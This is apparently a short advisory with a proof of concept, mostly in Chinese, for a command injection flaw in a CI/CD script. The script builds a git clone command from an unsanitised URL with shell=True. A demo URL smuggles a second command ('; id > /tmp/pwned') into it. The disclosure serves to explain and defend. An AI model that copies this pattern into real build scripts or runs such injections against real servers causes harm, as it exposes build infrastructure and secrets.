CVE-2026-11120 – 通过 CI/CD 流水线中的 Git URL 进行命令注入

程序代码（Python）

# cicd_build.py - Clones repository without sanitizing URL
import subprocess, sys

def clone_and_build(repo_url):
    # Vulnerability: repo_url can contain shell metacharacters
    cmd = f"git clone {repo_url} /tmp/repo"
    subprocess.check_call(cmd, shell=True)
    # Build steps...

if __name__ == '__main__':
    # Simulate attacker-controlled input
    malicious_url = "https://github.com/org/repo.git; id > /tmp/pwned"
    clone_and_build(malicious_url)

CVE-2026-11120 – 通过 CI/CD 中的 Git URL 进行命令注入

概述

CI/CD 流水线脚本在 shell 命令中使用了未经净化的用户提供的 Git 仓库 URL。攻击者可以通过在 URL 中包含特殊字符（例如 ;、&&）来注入 shell 命令，从而在构建服务器上执行任意命令。

漏洞详情

类型： 命令注入
影响： 构建基础设施受损、机密泄露。
根本原因： 仓库 URL 未经转义或验证就被直接拼接到 shell 命令中。

漏洞利用演示

运行存在漏洞的脚本：

python cicd_build.py

该脚本会执行注入的 id 命令，从而创建 /tmp/pwned。

CVE-2026-11120-Command-Injection-via-Git-URL-in-CI-CD-Pipeline

最受欢迎